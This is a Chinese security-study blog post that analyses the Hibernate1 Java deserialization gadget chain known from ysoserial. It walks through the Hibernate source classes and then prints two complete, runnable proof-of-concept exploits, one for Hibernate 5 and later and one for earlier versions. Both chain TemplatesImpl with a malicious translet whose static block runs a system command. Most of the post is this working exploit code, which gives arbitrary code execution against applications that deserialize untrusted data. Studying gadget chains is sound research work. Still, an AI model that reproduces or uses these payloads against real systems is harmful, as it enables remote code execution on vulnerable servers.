Hibernate1反序列化
前言
在帆软的软件包中有一个依赖叫hibernate,这个依赖是存在一个反序列化漏洞的,ysoserial中也有这条链子,所以今天来分析一下
概念:
参考:https://www.anquanke.com/post/id/205113略复杂
总而言之他就是一个框架,是对jdbc进行的对象封装,还能自动生成sql且执行
Hibernate1(V>=5)
漏洞发现:
首先看一下ysoserial中的具体调用链
/**
*
* org.hibernate.property.access.spi.GetterMethodImpl.get()
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
* org.hibernate.type.ComponentType.getPropertyValue(C)
* org.hibernate.type.ComponentType.getHashCode()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.internal.util.ValueHolder.getValue()
* org.hibernate.engine.spi.TypedValue.hashCode()
*
*
* Requires:
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
*
* @author mbechler
*/
导入依赖
<dependency>
<groupId>org.hibernate</groupId>
<artifactId>hibernate-core</artifactId>
<version>5.6.15.Final</version>
</dependency>
发现漏洞点在GetterMethodImpl类中的get()方法,我们找到看一下
看一下代码我们可以发现它直接进行了一个invoke方法的调用,且从名字上看是一个getter方法,且他(getterMethod)可以通过反射赋值(看到这个可以想到fastjson)

这时候我们向上找,看谁调用了get方法

找到的是AbstractComponentTuplizer#getPropertyValue,并且该getter数组在构造函数中,也可以通过反射赋值

继续向上,则是到了ComponentType#getPropertyValue,并且这里若componentTuplizer为我们上面的AbstractComponentTuplizer对象的话,就可以触发利用链

继续向上,到了ComponentType#getHashCode中

继续向上找getHashCode的利用,最后是在TypedValue的initTransients()下的initialize()中找到了一处调用

并且在TypedValue的构造函数中也调用了initTransients,所以反序列化的时候, TypedValue被初始化的时候会调用构造函数,进而就会有一个DeferredInitializer匿名类定义,然后就会调用到initialize方法

继续向上跟,找到了ValueHolder#getValue

说实话,如果对前面的链还有一定记忆的话就知道这条链差不多通了,也知道继续向上就是hashCode

剩下的就可以去拼接以前学过的链了,具体这里就不写了,感兴趣的可以翻一下我前面的笔记
构造poc
以HashMap为入口类,调用hashcode,然后到getValue,再到initialize#type.getHashCode,而这里的type是需要在TypedValue的构造函数中传入


这里按照链子来看的话,这个type应该是ComponentType,但是这里因为这个对象的构造函数都是hibernate依赖自己封装的一些类,不是javabean,所以外部在创建该对象的时候会很麻烦
- 无法独立构造依赖参数:
要创建ComponentType,必须先获取ComponentMetamodel实例。但ComponentMetamodel的创建依赖 Hibernate 的元数据解析流程(如从hbm.xml或注解解析组件信息),其构造可能需要MetadataBuildingContext、AttributeBinding等更深层的内部类,这些类的实例化逻辑完全由 Hibernate 内部掌控,外部无法轻易模拟。 - 缺乏通用工具支持:
由于ComponentMetamodel等类不遵循 JavaBean 规范(无默认构造函数、无标准 getter/setter),无法通过通用工具(如BeanUtils、Spring 的BeanWrapper)创建或配置。开发者必须手动追踪 Hibernate 内部的实例化流程,这需要深入了解 Hibernate 的源码细节,成本极高。 - 内部状态依赖风险:
即使强行通过反射创建了ComponentMetamodel实例,若未正确初始化其内部状态(如propertySpan、cascade等字段),ComponentType在后续使用中(如计算属性哈希、生成 SQL)会因状态异常导致错误,且这类错误难以调试(因为涉及 Hibernate 底层逻辑)。
这里就去看了一些其它师傅的文章,发现这里是引用了ReflectionFactory,能够绕过构造函数创建一个对象(以前没有学过,贴个链接一起学习)
这里写个简单的方法,用来后面的poc利用
public static Object createObjWithoutConstructor(Class clazz) throws Exception{
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return constructor1.newInstance();
}
TypedValue的Type的参数位置传入
TypedValue typedValue = new TypedValue(componentType,"Zephyr");
但是这时候我们传入的componentType是一个空的,里面的各种属性还没有赋值,所以还得反射来给他的属性赋值
然后从getHashCode到下一步ComponentType#getPropertyValue中,来到419行的componentTuplizer.getPropertyValue( component, i )

而我们在上面的分析中知道这里的componentTuplizer必须是AbstractComponentTuplizer也就是他的实现类才可以触发链子,因为这里的AbstractComponentTuplizer是一个抽象类,所以我们找一个他的实现类

这里就使用PojoComponentTuplizer
PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) createObjWithoutConstructor(PojoComponentTuplizer.class);
setField(componentType,"componentTuplizer",pojoComponentTuplizer);
在上面的分析中我们知道AbstractComponentTuplizer#getPropertyValue中的getters数组会调用get方法,而要利用链则数组中的第i个元素必须是GetterMethodImpl对象,而component是恶意的getter方法就行

而在前面的fastjson中有对getter的利用,其中利用了TemplateImpl类的getOutputProperties方法,进而调用该类的newTransformer方法实现恶意类加载
getters数组赋值(这里设置AbstractComponentTuplizer的实现类PojoComponentTuplizer时候,还必须获取一下AbstractComponentTuplizer的class)
Class<?> c = AbstractComponentTuplizer.class;
Field field = c.getDeclaredField("getters");
field.setAccessible(true);
field.set(pojoComponentTuplizer,new Getter[]{new GetterMethodImpl(Object.class,"qwq", TemplatesImpl.class.getDeclaredMethod("getOutputProperties"))});
最后就是要使invoke里的owner(也就是AbstractComponentTuplizer#getPropertyValue中get方法中的component)为fastjson利用到的template对象就ok

然后package一下
public static TemplatesImpl getTemplateImpl() throws Exception{
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\tmp\\Test1.class"));
Class<?> c = Class.forName("java.lang.ClassLoader");
Method m = c.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
m.setAccessible(true);
Class<?> c1 = (Class<?>) m.invoke(classLoader,bytes,0,bytes.length);
TemplatesImpl templates = new TemplatesImpl();
Class<?> templatesClass = templates.getClass();
Field _classField = templatesClass.getDeclaredField("_class");
_classField.setAccessible(true);
_classField.set(templates,new Class[]{c1});
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"Zephyr");
Field _transletIndexField = templatesClass.getDeclaredField("_transletIndex");
_transletIndexField.setAccessible(true);
_transletIndexField.set(templates,0);
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());
return templates;
}
然后上面TypedValue重新赋值一下,把这个template传进去
TypedValue typedValue = new TypedValue(componentType,getTemplateImpl());
最后poc:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.property.access.spi.Getter;
import org.hibernate.property.access.spi.GetterMethodImpl;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.ComponentType;
import sun.reflect.ReflectionFactory;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
public class hibernate {
/*
* org.hibernate.property.access.spi.GetterMethodImpl.get()
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
* org.hibernate.type.ComponentType.getPropertyValue(C)
* org.hibernate.type.ComponentType.getHashCode()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.internal.util.ValueHolder.getValue()
* org.hibernate.engine.spi.TypedValue.hashCode()
*/
public static void main(String[] args) throws Exception{
// BasicPropertyAccessor.BasicGetter basicGetter = BasicPropertyAccessor.BasicGetter;
HashMap<Object,Object> hashMap = new HashMap<>();
ComponentType componentType = (ComponentType) createObjWithoutConstructor(ComponentType.class);
setField(componentType,"propertySpan",2);
TypedValue typedValue = new TypedValue(componentType,getTemplateImpl());
PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) createObjWithoutConstructor(PojoComponentTuplizer.class);
Class<?> c = AbstractComponentTuplizer.class;
Field field = c.getDeclaredField("getters");
field.setAccessible(true);
field.set(pojoComponentTuplizer,new Getter[]{new GetterMethodImpl(Object.class,"qwq", TemplatesImpl.class.getDeclaredMethod("getOutputProperties"))});
setField(componentType,"componentTuplizer",pojoComponentTuplizer);
//这段对hashmap的处理是为了解决在put的时候触发gadget的经典问题
//hashMap.put(typedValue,1);
hashMap.put(1,1);
Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(hashMap);
for (Object entry: table){
// System.out.println(entry);
if (entry != null){
setField(entry,"key",typedValue);
}
}
byte[] bytes = ser(hashMap);
System.out.println(Base64.getEncoder().encodeToString(bytes));
unser(bytes);
}
public static TemplatesImpl getTemplateImpl() throws Exception{
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Security\\JavaStudy\\java_src\\serialize\\hibernate\\src\\main\\java\\Test.class"));
Class<?> c = Class.forName("java.lang.ClassLoader");
Method m = c.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
m.setAccessible(true);
Class<?> c1 = (Class<?>) m.invoke(classLoader,bytes,0,bytes.length);
TemplatesImpl templates = new TemplatesImpl();
Class<?> templatesClass = templates.getClass();
Field _classField = templatesClass.getDeclaredField("_class");
_classField.setAccessible(true);
_classField.set(templates,new Class[]{c1});
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"Zephyr");
Field _transletIndexField = templatesClass.getDeclaredField("_transletIndex");
_transletIndexField.setAccessible(true);
_transletIndexField.set(templates,0);
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());
return templates;
}
public static void setField(Object object,String fieldName,Object value) throws Exception{
Class<?> c = object.getClass();
Field field = c.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}
public static Object createObjWithoutConstructor(Class clazz) throws Exception{
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return constructor1.newInstance();
}
public static byte[] ser(Object o) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(o);
return byteArrayOutputStream.toByteArray();
}
public static Object unser(byte[] bytes) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
return objectInputStream.readObject();
}
}
Test.class(恶意类)
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet {
public Test() {
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException var1) {
throw new RuntimeException(var1);
}
}
}
运行截图:

Hibernate1(V<5)
漏洞分析
导入依赖
<dependency>
<groupId>org.hibernate</groupId>
<artifactId>hibernate-core</artifactId>
<version>4.3.11.Final</version>
</dependency>
重新加载maven依赖后,发现在原来的poc中有两个类都爆红了

也就是说版本在小于5的时候Getter和GetterMethodImpl并不存在了,所以需要找替代
站在巨人的肩膀上,我们已经知道了这里链子的发现者找到的是BasicPropertyAccessor.BasicGetter.get()

发现和GetterMethodImpl#get()几乎一摸一样

但是有一个问题就是这里的method是一个transient,我们都知道这个类型的属性是不能通过反射赋值的
我们去看一下在反序列化过程中该method的赋值是如何赋值的,这样的话如果可以通过其他类的方法来进行赋值
在BasicPropertyAccessor.BasicGetter中,我们可以看到一个一个方法readResolve(先说结果,可以通过他给method属性赋值)
先放调用栈
BasicGetter in BasicPropertyAccessor.readResolve() (org.hibernate.property)
BasicPropertyAccessor.createGetter(Class, String) (org.hibernate.property)
BasicPropertyAccessor.getGetterOrNull(theClass, propertyName)(2 usages) (org.hibernate.property)
BasicPropertyAccessor.getterMethod(Class theClass, String propertyName) (org.hibernate.property)
在反序列话的过程中会自动调用该方法


通过getterMethod方法获取method对象,并通过BasicGetter的构造方法为该对象赋值

getterMethod遍历theClass中的所有方法,查找以get或is开头的并且去掉get或is后和propertyName相同的method并返回

至于theclass怎么赋值,回到BasicGetter的构造函数中,是从clazz属性中传入(很贱的的跟一下参数,所有方法都在同一个类中),而propertyName也是可以通过构造方法设置的,所以可以通过控制这两个属性来间接给method属性传值

给BasicGetter的clazz对象赋值为包含漏洞getter的漏洞类的class,propertyName属性为那个getter对应的属性名
如果我们还要利用上面类似的payload,也就是TemplateImpl的getOutputProperties()方法,那么clazz就得是TemplateImpl的class,propertyName就得是OutputProperties
反射尝试赋值一下
Class basicGetterClass = BasicPropertyAccessor.BasicGetter.class;
Constructor basicGetterConstructor = basicGetterClass.getDeclaredConstructor(new Class[]{Class.class,Method.class,String.class});
basicGetterConstructor.setAccessible(true);
BasicPropertyAccessor.BasicGetter basicGetter = (BasicPropertyAccessor.BasicGetter) basicGetterConstructor.newInstance(TemplatesImpl.class,TemplatesImpl.class.getDeclaredMethod("getOutputProperties"),"OutputProperties");
最终poc
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.property.BasicPropertyAccessor;
import org.hibernate.property.Getter;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.ComponentType;
import sun.reflect.ReflectionFactory;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
public class hibernate1 {
public static void main(String[] args) throws Exception{
HashMap<Object,Object> hashMap = new HashMap<>();
ComponentType componentType = (ComponentType) createObjWithoutConstructor(ComponentType.class);
setField(componentType,"propertySpan",2);
TypedValue typedValue = new TypedValue(componentType,getTemplateImpl());
PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) createObjWithoutConstructor(PojoComponentTuplizer.class);
Class basicGetterClass = BasicPropertyAccessor.BasicGetter.class;
Constructor basicGetterConstructor = basicGetterClass.getDeclaredConstructor(new Class[]{Class.class,Method.class,String.class});
basicGetterConstructor.setAccessible(true);
BasicPropertyAccessor.BasicGetter basicGetter = (BasicPropertyAccessor.BasicGetter) basicGetterConstructor.newInstance(TemplatesImpl.class,TemplatesImpl.class.getDeclaredMethod("getOutputProperties"),"OutputProperties");
Class<?> c = AbstractComponentTuplizer.class;
Field field = c.getDeclaredField("getters");
field.setAccessible(true);
field.set(pojoComponentTuplizer,new Getter[]{basicGetter});
setField(componentType,"componentTuplizer",pojoComponentTuplizer);
hashMap.put(1,1);
Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(hashMap);
for (Object entry: table){
// System.out.println(entry);
if (entry != null){
setField(entry,"key",typedValue);
}
}
byte[] bytes = ser(hashMap);
System.out.println(Base64.getEncoder().encodeToString(bytes));
unser(bytes);
}
public static TemplatesImpl getTemplateImpl() throws Exception{
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Security\\JavaStudy\\java_src\\serialize\\hibernate\\src\\main\\java\\Test.class"));
Class<?> c = Class.forName("java.lang.ClassLoader");
Method m = c.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
m.setAccessible(true);
Class<?> c1 = (Class<?>) m.invoke(classLoader,bytes,0,bytes.length);
TemplatesImpl templates = new TemplatesImpl();
Class<?> templatesClass = templates.getClass();
Field _classField = templatesClass.getDeclaredField("_class");
_classField.setAccessible(true);
_classField.set(templates,new Class[]{c1});
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"Zephyr");
Field _transletIndexField = templatesClass.getDeclaredField("_transletIndex");
_transletIndexField.setAccessible(true);
_transletIndexField.set(templates,0);
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());
return templates;
}
public static void setField(Object object,String fieldName,Object value) throws Exception{
Class<?> c = object.getClass();
Field field = c.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}
public static Object createObjWithoutConstructor(Class clazz) throws Exception{
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return constructor1.newInstance();
}
public static byte[] ser(Object o) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(o);
return byteArrayOutputStream.toByteArray();
}
public static Object unser(byte[] bytes) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
return objectInputStream.readObject();
}
}
运行截图

这次记录就完毕了,但是还有Hibernate2的反序列化,就后续再补充吧^_^

浙公网安备 33010602011771号